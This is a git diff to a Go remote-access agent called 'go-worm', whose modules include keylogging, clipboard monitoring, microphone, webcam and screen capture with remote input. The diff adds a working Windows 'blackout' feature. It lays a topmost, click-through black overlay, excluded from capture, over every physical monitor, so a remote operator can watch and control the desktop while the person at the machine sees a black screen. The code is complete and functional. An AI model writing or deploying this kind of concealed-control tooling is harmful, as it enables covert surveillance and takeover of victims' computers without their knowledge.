diff --git a/VERSION b/VERSION
index 6d7de6e..af0b7dd 100644
--- a/VERSION
+++ b/VERSION
@@ -1 +1 @@
-1.0.2
+1.0.6
diff --git a/lib/agent/agent.go b/lib/agent/agent.go
index 3d4ebbc..a36d194 100644
--- a/lib/agent/agent.go
+++ b/lib/agent/agent.go
@@ -11,6 +11,7 @@ import (
"strings"
"time"
+ "tea.chunkbyte.com/kato/go-worm/lib/blackout"
"tea.chunkbyte.com/kato/go-worm/lib/capture"
"tea.chunkbyte.com/kato/go-worm/lib/clipmon"
"tea.chunkbyte.com/kato/go-worm/lib/config"
@@ -75,6 +76,7 @@ func New(cfg Config) (*Agent, error) {
func (a *Agent) Close() {
clipmon.Stop()
keylog.Stop()
+ blackout.Stop()
capture.Stop()
mic.Stop()
if a.guard != nil {
@@ -95,6 +97,7 @@ func (a *Agent) Serve() error {
mux.HandleFunc("/api/v1/download", a.handleDownload)
mux.HandleFunc("/api/v1/upload", a.handleUpload)
mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot)
+ mux.HandleFunc("/api/v1/blackout", a.handleBlackout)
mux.HandleFunc("/api/v1/webcam", a.handleWebcam)
mux.HandleFunc("/api/v1/webcam/frame", a.handleWebcamFrame)
mux.HandleFunc("/api/v1/mic", a.handleMic)
diff --git a/lib/agent/handlers.go b/lib/agent/handlers.go
index f82f837..fa941a5 100644
--- a/lib/agent/handlers.go
+++ b/lib/agent/handlers.go
@@ -14,6 +14,7 @@ import (
"strings"
"time"
+ "tea.chunkbyte.com/kato/go-worm/lib/blackout"
"tea.chunkbyte.com/kato/go-worm/lib/capture"
"tea.chunkbyte.com/kato/go-worm/lib/command"
"tea.chunkbyte.com/kato/go-worm/lib/config"
@@ -409,9 +410,37 @@ func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) {
w.Header().Set("X-Monitor-Top", strconv.Itoa(frame.Top))
w.Header().Set("X-Monitor-Width", strconv.Itoa(frame.Width))
w.Header().Set("X-Monitor-Height", strconv.Itoa(frame.Height))
+ if blackout.Enabled() {
+ w.Header().Set("X-Screen-Blackout", "1")
+ }
_, _ = w.Write(frame.Data)
}
+func (a *Agent) handleBlackout(w http.ResponseWriter, r *http.Request) {
+ switch r.Method {
+ case http.MethodGet:
+ helpers.WriteJSON(w, http.StatusOK, map[string]any{"enabled": blackout.Enabled()})
+ case http.MethodPut:
+ r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
+ defer r.Body.Close()
+ var body struct {
+ Enabled *bool `json:"enabled"`
+ }
+ if err := json.NewDecoder(r.Body).Decode(&body); err != nil || body.Enabled == nil {
+ helpers.WriteError(w, http.StatusBadRequest, "enabled is required")
+ return
+ }
+ if err := blackout.Set(*body.Enabled); err != nil {
+ helpers.Log.Printf("blackout: %v", err)
+ helpers.WriteError(w, http.StatusServiceUnavailable, err.Error())
+ return
+ }
+ helpers.WriteJSON(w, http.StatusOK, map[string]any{"enabled": blackout.Enabled()})
+ default:
+ helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
+ }
+}
+
func parseMicDevice(r *http.Request) (int, error) {
device := 0
if raw := r.URL.Query().Get("device"); raw != "" {
diff --git a/lib/agent/web/app.js b/lib/agent/web/app.js
index 58ba618..0c1de6e 100644
--- a/lib/agent/web/app.js
+++ b/lib/agent/web/app.js
@@ -27,6 +27,7 @@
const videoStop = document.getElementById("video-stop");
const videoInteract = document.getElementById("video-interact");
const videoKeyHint = document.getElementById("video-key-hint");
+ const videoBlackout = document.getElementById("video-blackout");
const webcamCanvas = document.getElementById("webcam-canvas");
const webcamMeta = document.getElementById("webcam-meta");
const webcamDevice = document.getElementById("webcam-device");
@@ -680,7 +681,7 @@
const width = bitmap.width;
const height = bitmap.height;
bitmap.close();
- videoMeta.textContent = `${width}×${height} · monitor ${monitor} @ ${lastMonitor.left},${lastMonitor.top}`;
+ videoMeta.textContent = `${width}×${height} · monitor ${monitor} @ ${lastMonitor.left},${lastMonitor.top}${res.headers.get("X-Screen-Blackout") === "1" ? " · blackout" : ""}`;
}
async function sendClick(event, button) {
@@ -737,6 +738,22 @@
return false;
}
+ async function loadBlackout() {
+ const res = await api("/api/v1/blackout");
+ const data = await res.json();
+ videoBlackout.checked = Boolean(data.enabled);
+ }
+
+ async function setBlackoutEnabled(enabled) {
+ const res = await api("/api/v1/blackout", {
+ method: "PUT",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({ enabled }),
+ });
+ const data = await res.json();
+ videoBlackout.checked = Boolean(data.enabled);
+ }
+
function setVideoTabActive(active) {
if (videoTabActive === active) return;
videoTabActive = active;
@@ -920,6 +937,9 @@
document.getElementById(button.dataset.tab).classList.add("active");
const onVideo = button.dataset.tab === "video";
setVideoTabActive(onVideo);
+ if (onVideo) {
+ loadBlackout().catch((err) => showError(err.message));
+ }
if (!onVideo) {
stopVideo();
}
@@ -1028,6 +1048,12 @@
sendClick(event, "right").catch((err) => showError(err.message));
});
videoInteract.addEventListener("change", () => syncInteractable());
+ videoBlackout.addEventListener("change", () => {
+ setBlackoutEnabled(videoBlackout.checked).catch((err) => {
+ videoBlackout.checked = !videoBlackout.checked;
+ showError(err.message);
+ });
+ });
document.querySelectorAll(".mod-btn").forEach((button) => {
button.addEventListener("click", () => {
if (!videoInteract.checked) return;
diff --git a/lib/agent/web/index.html b/lib/agent/web/index.html
index 359d6d5..1c8653b 100644
--- a/lib/agent/web/index.html
+++ b/lib/agent/web/index.html
@@ -819,7 +819,7 @@
Remote desktop
-
Live monitor stream. Interaction is off until you enable it.
+
Live monitor stream. Interaction is off until you enable it. Black out screen blanks the physical displays; remote view and control keep working.
@@ -841,6 +841,10 @@
Interactable
+
diff --git a/lib/blackout/blackout.go b/lib/blackout/blackout.go
new file mode 100644
index 0000000..f47403a
--- /dev/null
+++ b/lib/blackout/blackout.go
@@ -0,0 +1,13 @@
+package blackout
+
+func Enabled() bool { return running() }
+
+func Set(on bool) error {
+ if on {
+ return start()
+ }
+ stop()
+ return nil
+}
+
+func Stop() { stop() }
diff --git a/lib/blackout/blackout_test.go b/lib/blackout/blackout_test.go
new file mode 100644
index 0000000..95a7195
--- /dev/null
+++ b/lib/blackout/blackout_test.go
@@ -0,0 +1,10 @@
+package blackout
+
+import "testing"
+
+func TestDisabledByDefault(t *testing.T) {
+ t.Parallel()
+ if Enabled() {
+ t.Fatal("blackout should start off")
+ }
+}
diff --git a/lib/blackout/overlay_stub.go b/lib/blackout/overlay_stub.go
new file mode 100644
index 0000000..bdd7482
--- /dev/null
+++ b/lib/blackout/overlay_stub.go
@@ -0,0 +1,13 @@
+//go:build !windows
+
+package blackout
+
+import "errors"
+
+func running() bool { return false }
+
+func start() error {
+ return errors.New("monitor blackout is only available on Windows")
+}
+
+func stop() {}
diff --git a/lib/blackout/overlay_windows.go b/lib/blackout/overlay_windows.go
new file mode 100644
index 0000000..ff1b343
--- /dev/null
+++ b/lib/blackout/overlay_windows.go
@@ -0,0 +1,372 @@
+//go:build windows
+
+package blackout
+
+import (
+ "errors"
+ "fmt"
+ "runtime"
+ "sync"
+ "syscall"
+ "time"
+ "unsafe"
+
+ "tea.chunkbyte.com/kato/go-worm/lib/helpers"
+ "tea.chunkbyte.com/kato/go-worm/lib/screenshot"
+)
+
+const (
+ className = "win64_mp_blackout"
+
+ wsPopup = 0x80000000
+
+ wsExLayered = 0x00080000
+ wsExTransparent = 0x00000020
+ wsExTopmost = 0x00000008
+ wsExToolwindow = 0x00000080
+ wsExNoActivate = 0x08000000
+ layeredEx = wsExLayered | wsExTransparent | wsExTopmost | wsExToolwindow | wsExNoActivate
+
+ swShowNoActivate = 4
+ swpNoActivate = 0x0010
+ swpNoMove = 0x0002
+ swpNoSize = 0x0001
+ swpShowWindow = 0x0040
+
+ lwaAlpha = 0x00000002
+ wdaExcludeFromCapture = 0x00000011
+ blackBrush = 4
+ errorClassAlreadyExists = 1410
+ htTransparent = 0xFFFFFFFF
+ maNoActivate = 3
+ wmQuit = 0x0012
+ wmNcHitTest = 0x0084
+ wmMouseActivate = 0x0021
+ wmDisplayChange = 0x007E
+ wmUser = 0x0400
+ wmRebuild = wmUser + 1
+ hwndTopmost = ^uintptr(0) // HWND_TOPMOST
+)
+
+type wndClassEx struct {
+ Size uint32
+ Style uint32
+ WndProc uintptr
+ ClsExtra int32
+ WndExtra int32
+ Instance uintptr
+ Icon uintptr
+ Cursor uintptr
+ Background uintptr
+ MenuName *uint16
+ ClassName *uint16
+ IconSm uintptr
+}
+
+type msg struct {
+ HWnd uintptr
+ Message uint32
+ WParam uintptr
+ LParam uintptr
+ Time uint32
+ Pt struct{ X, Y int32 }
+}
+
+type overlayRect struct {
+ left, top, width, height int
+}
+
+var (
+ user32 = syscall.NewLazyDLL("user32.dll")
+ gdi32 = syscall.NewLazyDLL("gdi32.dll")
+ kernel32 = syscall.NewLazyDLL("kernel32.dll")
+ procRegisterClassExW = user32.NewProc("RegisterClassExW")
+ procCreateWindowExW = user32.NewProc("CreateWindowExW")
+ procDestroyWindow = user32.NewProc("DestroyWindow")
+ procShowWindow = user32.NewProc("ShowWindow")
+ procSetWindowPos = user32.NewProc("SetWindowPos")
+ procSetLayeredWindowAttributes = user32.NewProc("SetLayeredWindowAttributes")
+ procSetWindowDisplayAffinity = user32.NewProc("SetWindowDisplayAffinity")
+ procDefWindowProcW = user32.NewProc("DefWindowProcW")
+ procGetMessageW = user32.NewProc("GetMessageW")
+ procTranslateMessage = user32.NewProc("TranslateMessage")
+ procDispatchMessageW = user32.NewProc("DispatchMessageW")
+ procPostThreadMessageW = user32.NewProc("PostThreadMessageW")
+ procGetStockObject = gdi32.NewProc("GetStockObject")
+ procGetModuleHandleW = kernel32.NewProc("GetModuleHandleW")
+ procGetCurrentThreadId = kernel32.NewProc("GetCurrentThreadId")
+
+ // ponytail: NewCallback is never freed; one wndproc for the process.
+ wndProcCB = syscall.NewCallback(overlayWndProc)
+
+ mu sync.Mutex
+ active bool
+ threadID uint32
+ loopDone chan struct{}
+ hwnds []uintptr
+ classAtom uint16
+ classUTF16 *uint16
+)
+
+func init() {
+ if unsafe.Sizeof(wndClassEx{}) != 80 {
+ panic(fmt.Sprintf("wndClassEx must be 80 bytes on amd64, got %d", unsafe.Sizeof(wndClassEx{})))
+ }
+}
+
+func running() bool {
+ mu.Lock()
+ defer mu.Unlock()
+ return active
+}
+
+func start() error {
+ mu.Lock()
+ if active {
+ mu.Unlock()
+ return nil
+ }
+ done := make(chan struct{})
+ ready := make(chan error, 1)
+ loopDone = done
+ mu.Unlock()
+
+ go func() {
+ defer close(done)
+ defer helpers.RecoverLog("blackout")
+ runOverlayLoop(ready)
+ }()
+
+ select {
+ case err := <-ready:
+ if err != nil {
+ <-done
+ return err
+ }
+ return nil
+ case <-time.After(5 * time.Second):
+ stop()
+ return errors.New("monitor blackout did not start")
+ }
+}
+
+func stop() {
+ mu.Lock()
+ tid := threadID
+ done := loopDone
+ mu.Unlock()
+ if tid != 0 {
+ _, _, _ = procPostThreadMessageW.Call(uintptr(tid), wmQuit, 0, 0)
+ }
+ if done != nil {
+ <-done
+ }
+}
+
+func runOverlayLoop(ready chan<- error) {
+ runtime.LockOSThread()
+ defer runtime.UnlockOSThread()
+ defer func() {
+ destroyOverlays()
+ mu.Lock()
+ active = false
+ threadID = 0
+ loopDone = nil
+ mu.Unlock()
+ }()
+
+ tid, _, _ := procGetCurrentThreadId.Call()
+ mu.Lock()
+ threadID = uint32(tid)
+ mu.Unlock()
+
+ if err := registerClass(); err != nil {
+ ready <- err
+ return
+ }
+ if err := createOverlays(); err != nil {
+ ready <- err
+ return
+ }
+
+ mu.Lock()
+ active = true
+ mu.Unlock()
+ ready <- nil
+
+ ticker := time.NewTicker(time.Second)
+ defer ticker.Stop()
+ stopTop := make(chan struct{})
+ defer close(stopTop)
+ go func() {
+ defer helpers.RecoverLog("blackout-top")
+ for {
+ select {
+ case <-stopTop:
+ return
+ case <-ticker.C:
+ mu.Lock()
+ on := active
+ ids := append([]uintptr(nil), hwnds...)
+ mu.Unlock()
+ if !on {
+ return
+ }
+ for _, hwnd := range ids {
+ _, _, _ = procSetWindowPos.Call(hwnd, hwndTopmost, 0, 0, 0, 0, swpNoMove|swpNoSize|swpNoActivate)
+ }
+ }
+ }
+ }()
+
+ var m msg
+ for {
+ ret, _, _ := procGetMessageW.Call(uintptr(unsafe.Pointer(&m)), 0, 0, 0)
+ v := int32(ret)
+ if v == 0 || v == -1 {
+ return
+ }
+ if m.HWnd == 0 && m.Message == wmRebuild {
+ _ = createOverlays()
+ continue
+ }
+ _, _, _ = procTranslateMessage.Call(uintptr(unsafe.Pointer(&m)))
+ _, _, _ = procDispatchMessageW.Call(uintptr(unsafe.Pointer(&m)))
+ }
+}
+
+func registerClass() error {
+ if classAtom != 0 {
+ return nil
+ }
+ name, err := syscall.UTF16PtrFromString(className)
+ if err != nil {
+ return err
+ }
+ classUTF16 = name
+ inst, _, _ := procGetModuleHandleW.Call(0)
+ brush, _, _ := procGetStockObject.Call(blackBrush)
+ wc := wndClassEx{
+ Size: uint32(unsafe.Sizeof(wndClassEx{})),
+ WndProc: wndProcCB,
+ Instance: inst,
+ Background: brush,
+ ClassName: name,
+ }
+ atom, _, callErr := procRegisterClassExW.Call(uintptr(unsafe.Pointer(&wc)))
+ if atom == 0 {
+ if errno, ok := callErr.(syscall.Errno); ok && errno == errorClassAlreadyExists {
+ classAtom = 1
+ return nil
+ }
+ if callErr != nil && callErr != syscall.Errno(0) {
+ return callErr
+ }
+ return errors.New("RegisterClassEx failed")
+ }
+ classAtom = uint16(atom)
+ return nil
+}
+
+func monitorRects() ([]overlayRect, error) {
+ var out []overlayRect
+ for i := 0; i < 64; i++ {
+ left, top, width, height, err := screenshot.MonitorBounds(i)
+ if err != nil {
+ break
+ }
+ if width < 1 || height < 1 {
+ continue
+ }
+ out = append(out, overlayRect{left, top, width, height})
+ }
+ if len(out) == 0 {
+ return nil, errors.New("no displays found")
+ }
+ return out, nil
+}
+
+func createOverlays() error {
+ destroyOverlays()
+ rects, err := monitorRects()
+ if err != nil {
+ return err
+ }
+ inst, _, _ := procGetModuleHandleW.Call(0)
+ var created []uintptr
+ for _, r := range rects {
+ hwnd, err := createOverlay(inst, r)
+ if err != nil {
+ for _, h := range created {
+ _, _, _ = procDestroyWindow.Call(h)
+ }
+ return err
+ }
+ created = append(created, hwnd)
+ }
+ mu.Lock()
+ hwnds = created
+ mu.Unlock()
+ return nil
+}
+
+func createOverlay(inst uintptr, r overlayRect) (uintptr, error) {
+ hwnd, _, callErr := procCreateWindowExW.Call(
+ layeredEx,
+ uintptr(unsafe.Pointer(classUTF16)),
+ 0,
+ wsPopup,
+ uintptr(int32(r.left)),
+ uintptr(int32(r.top)),
+ uintptr(int32(r.width)),
+ uintptr(int32(r.height)),
+ 0, 0, inst, 0,
+ )
+ if hwnd == 0 {
+ if callErr != nil && callErr != syscall.Errno(0) {
+ return 0, callErr
+ }
+ return 0, errors.New("CreateWindowEx failed")
+ }
+ ok, _, affErr := procSetWindowDisplayAffinity.Call(hwnd, wdaExcludeFromCapture)
+ if ok == 0 {
+ _, _, _ = procDestroyWindow.Call(hwnd)
+ if affErr != nil && affErr != syscall.Errno(0) {
+ return 0, fmt.Errorf("exclude overlay from capture: %w", affErr)
+ }
+ return 0, errors.New("exclude overlay from capture failed")
+ }
+ _, _, _ = procSetLayeredWindowAttributes.Call(hwnd, 0, 255, lwaAlpha)
+ _, _, _ = procSetWindowPos.Call(hwnd, hwndTopmost, uintptr(int32(r.left)), uintptr(int32(r.top)), uintptr(int32(r.width)), uintptr(int32(r.height)), swpNoActivate|swpShowWindow)
+ _, _, _ = procShowWindow.Call(hwnd, swShowNoActivate)
+ return hwnd, nil
+}
+
+func destroyOverlays() {
+ mu.Lock()
+ ids := hwnds
+ hwnds = nil
+ mu.Unlock()
+ for _, hwnd := range ids {
+ _, _, _ = procDestroyWindow.Call(hwnd)
+ }
+}
+
+func overlayWndProc(hwnd, message, wparam, lparam uintptr) uintptr {
+ switch message {
+ case wmNcHitTest:
+ return htTransparent
+ case wmMouseActivate:
+ return maNoActivate
+ case wmDisplayChange:
+ mu.Lock()
+ tid := threadID
+ mu.Unlock()
+ if tid != 0 {
+ _, _, _ = procPostThreadMessageW.Call(uintptr(tid), wmRebuild, 0, 0)
+ }
+ return 0
+ }
+ ret, _, _ := procDefWindowProcW.Call(hwnd, message, wparam, lparam)
+ return ret
+}
diff --git a/lib/capture/client_windows.go b/lib/capture/client_windows.go
index 75b6a52..22112bb 100644
--- a/lib/capture/client_windows.go
+++ b/lib/capture/client_windows.go
@@ -12,6 +12,7 @@ import (
"sync"
"time"
+ "tea.chunkbyte.com/kato/go-worm/lib/blackout"
"tea.chunkbyte.com/kato/go-worm/lib/config"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
"tea.chunkbyte.com/kato/go-worm/lib/models"
@@ -80,7 +81,7 @@ func (h *helper) grab(index int, format string, quality int) (models.CapturedIma
deadline := time.Now().Add(config.CaptureTimeout)
_ = h.stdin.SetWriteDeadline(deadline)
_ = h.stdout.SetReadDeadline(deadline)
- if err := writeRequest(h.stdin, index, format, quality); err != nil {
+ if err := writeRequest(h.stdin, index, format, quality, blackout.Enabled()); err != nil {
return models.CapturedImage{}, err
}
img, err := readResponse(h.reader)
diff --git a/lib/capture/helper_windows.go b/lib/capture/helper_windows.go
index a7800dc..666180d 100644
--- a/lib/capture/helper_windows.go
+++ b/lib/capture/helper_windows.go
@@ -18,7 +18,7 @@ func RunHelper() int {
in := bufio.NewReader(os.Stdin)
out := bufio.NewWriter(os.Stdout)
for {
- monitor, format, quality, err := readRequest(in)
+ monitor, format, quality, omitLayered, err := readRequest(in)
if err == io.EOF {
return 0
}
@@ -27,7 +27,7 @@ func RunHelper() int {
_ = out.Flush()
return 1
}
- img, err := grab(monitor, format, quality)
+ img, err := grab(monitor, format, quality, omitLayered)
if err != nil {
if werr := writeErr(out, err.Error()); werr != nil {
return 1
@@ -46,11 +46,12 @@ func RunHelper() int {
}
}
-func grab(monitor int, format string, quality int) (img models.CapturedImage, err error) {
+func grab(monitor int, format string, quality int, omitLayered bool) (img models.CapturedImage, err error) {
defer func() {
if r := recover(); r != nil {
err = fmt.Errorf("panic: %v", r)
}
}()
+ screenshot.SetOmitLayered(omitLayered)
return screenshot.CaptureMonitor(monitor, format, quality)
}
diff --git a/lib/capture/protocol.go b/lib/capture/protocol.go
index bcf0a34..119832c 100644
--- a/lib/capture/protocol.go
+++ b/lib/capture/protocol.go
@@ -14,30 +14,38 @@ import (
var ErrMonitorNotFound = errors.New("monitor not found")
-func writeRequest(w io.Writer, monitor int, format string, quality int) error {
- _, err := fmt.Fprintf(w, "C %d %s %d\n", monitor, format, quality)
+func writeRequest(w io.Writer, monitor int, format string, quality int, omitLayered bool) error {
+ flag := 0
+ if omitLayered {
+ flag = 1
+ }
+ _, err := fmt.Fprintf(w, "C %d %s %d %d\n", monitor, format, quality, flag)
return err
}
-func readRequest(r *bufio.Reader) (monitor int, format string, quality int, err error) {
+func readRequest(r *bufio.Reader) (monitor int, format string, quality int, omitLayered bool, err error) {
line, err := r.ReadString('\n')
if err != nil {
- return 0, "", 0, err
+ return 0, "", 0, false, err
}
fields := strings.Fields(strings.TrimSpace(line))
- if len(fields) != 4 || fields[0] != "C" {
- return 0, "", 0, errors.New("bad capture request")
+ if len(fields) != 5 || fields[0] != "C" {
+ return 0, "", 0, false, errors.New("bad capture request")
}
monitor, err = strconv.Atoi(fields[1])
if err != nil {
- return 0, "", 0, err
+ return 0, "", 0, false, err
}
format = fields[2]
quality, err = strconv.Atoi(fields[3])
if err != nil {
- return 0, "", 0, err
+ return 0, "", 0, false, err
}
- return monitor, format, quality, nil
+ flag, err := strconv.Atoi(fields[4])
+ if err != nil {
+ return 0, "", 0, false, err
+ }
+ return monitor, format, quality, flag != 0, nil
}
func writeFrame(w io.Writer, img models.CapturedImage) error {
diff --git a/lib/capture/protocol_test.go b/lib/capture/protocol_test.go
index fd960a2..6439206 100644
--- a/lib/capture/protocol_test.go
+++ b/lib/capture/protocol_test.go
@@ -11,15 +11,15 @@ import (
func TestCaptureProtocolRoundTrip(t *testing.T) {
t.Parallel()
var buf bytes.Buffer
- if err := writeRequest(&buf, 1, "jpeg", 40); err != nil {
+ if err := writeRequest(&buf, 1, "jpeg", 40, true); err != nil {
t.Fatal(err)
}
- mon, format, quality, err := readRequest(bufio.NewReader(bytes.NewReader(buf.Bytes())))
+ mon, format, quality, omit, err := readRequest(bufio.NewReader(bytes.NewReader(buf.Bytes())))
if err != nil {
t.Fatal(err)
}
- if mon != 1 || format != "jpeg" || quality != 40 {
- t.Fatalf("request = %d %s %d", mon, format, quality)
+ if mon != 1 || format != "jpeg" || quality != 40 || !omit {
+ t.Fatalf("request = %d %s %d omit=%v", mon, format, quality, omit)
}
buf.Reset()
diff --git a/lib/openapi/spec.go b/lib/openapi/spec.go
index 0f8541b..d761e9f 100644
--- a/lib/openapi/spec.go
+++ b/lib/openapi/spec.go
@@ -168,10 +168,11 @@ func Spec() map[string]any {
"200": map[string]any{
"description": "Screenshot image",
"headers": map[string]any{
- "X-Monitor-Left": map[string]any{"schema": map[string]string{"type": "integer"}},
- "X-Monitor-Top": map[string]any{"schema": map[string]string{"type": "integer"}},
- "X-Monitor-Width": map[string]any{"schema": map[string]string{"type": "integer"}},
- "X-Monitor-Height": map[string]any{"schema": map[string]string{"type": "integer"}},
+ "X-Monitor-Left": map[string]any{"schema": map[string]string{"type": "integer"}},
+ "X-Monitor-Top": map[string]any{"schema": map[string]string{"type": "integer"}},
+ "X-Monitor-Width": map[string]any{"schema": map[string]string{"type": "integer"}},
+ "X-Monitor-Height": map[string]any{"schema": map[string]string{"type": "integer"}},
+ "X-Screen-Blackout": map[string]any{"schema": map[string]string{"type": "string"}, "description": "1 when physical monitors are blacked out"},
},
"content": map[string]any{
"image/png": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}},
@@ -183,6 +184,26 @@ func Spec() map[string]any {
}),
},
},
+ "/api/v1/blackout": map[string]any{
+ "get": map[string]any{
+ "summary": "Read physical monitor blackout",
+ "operationId": "getBlackout",
+ "responses": auth(map[string]any{
+ "200": okJSON("Blackout state", ref("BlackoutState")),
+ }),
+ },
+ "put": map[string]any{
+ "summary": "Black out physical monitors",
+ "operationId": "setBlackout",
+ "description": "Covers physical displays with a click-through overlay excluded from capture. Remote video and input keep working.",
+ "requestBody": jsonBody(ref("BlackoutUpdate")),
+ "responses": auth(map[string]any{
+ "200": okJSON("Blackout state", ref("BlackoutState")),
+ "400": errResp("Invalid body"),
+ "503": errResp("Blackout failed"),
+ }),
+ },
+ },
"/api/v1/webcam": map[string]any{
"get": map[string]any{
"summary": "List webcams",
@@ -563,6 +584,19 @@ func Spec() map[string]any {
"klogging": map[string]any{"type": "boolean"},
},
},
+ "BlackoutState": map[string]any{
+ "type": "object",
+ "properties": map[string]any{
+ "enabled": map[string]any{"type": "boolean"},
+ },
+ },
+ "BlackoutUpdate": map[string]any{
+ "type": "object",
+ "required": []string{"enabled"},
+ "properties": map[string]any{
+ "enabled": map[string]any{"type": "boolean"},
+ },
+ },
"ClickRequest": map[string]any{
"type": "object", "required": []string{"x", "y", "button"},
"properties": map[string]any{
diff --git a/lib/openapi/spec_test.go b/lib/openapi/spec_test.go
index f7b68d2..919c45a 100644
--- a/lib/openapi/spec_test.go
+++ b/lib/openapi/spec_test.go
@@ -11,8 +11,8 @@ func TestSpec(t *testing.T) {
if !ok || len(paths) < 12 {
t.Fatalf("expected at least 12 paths, got %d", len(paths))
}
- if _, ok := paths["/api/v1/mic"]; !ok {
- t.Fatal("missing /api/v1/mic")
+ if _, ok := paths["/api/v1/blackout"]; !ok {
+ t.Fatal("missing /api/v1/blackout")
}
if _, ok := paths["/api/v1/watchdog"]; !ok {
t.Fatal("missing /api/v1/watchdog")
diff --git a/lib/screenshot/screenshot.go b/lib/screenshot/screenshot.go
index 6199c30..c785bfd 100644
--- a/lib/screenshot/screenshot.go
+++ b/lib/screenshot/screenshot.go
@@ -16,6 +16,18 @@ import (
var ErrMonitorNotFound = errors.New("monitor not found")
+const (
+ srcCopy = 0x00CC0020
+ captureBlt = 0x40000000
+)
+
+var omitLayeredWindows bool
+
+// SetOmitLayered skips CAPTUREBLT so WS_EX_LAYERED overlays (blackout) stay off the bitmap.
+func SetOmitLayered(omit bool) {
+ omitLayeredWindows = omit
+}
+
var (
user32 = syscall.NewLazyDLL("user32.dll")
gdi32 = syscall.NewLazyDLL("gdi32.dll")
@@ -210,8 +222,11 @@ func captureRect(r rect) (*image.RGBA, error) {
defer procDeleteObject.Call(bitmap)
old, _, _ := procSelectObject.Call(memDC, bitmap)
defer procSelectObject.Call(memDC, old)
- const srccopy = 0x00CC0020 | 0x40000000 // SRCCOPY | CAPTUREBLT
- ok, _, err := procBitBlt.Call(memDC, 0, 0, uintptr(width), uintptr(height), screenDC, uintptr(int64(r.Left)), uintptr(int64(r.Top)), srccopy)
+ blit := uintptr(srcCopy)
+ if !omitLayeredWindows {
+ blit |= captureBlt
+ }
+ ok, _, err := procBitBlt.Call(memDC, 0, 0, uintptr(width), uintptr(height), screenDC, uintptr(int64(r.Left)), uintptr(int64(r.Top)), blit)
if ok == 0 {
return nil, err
}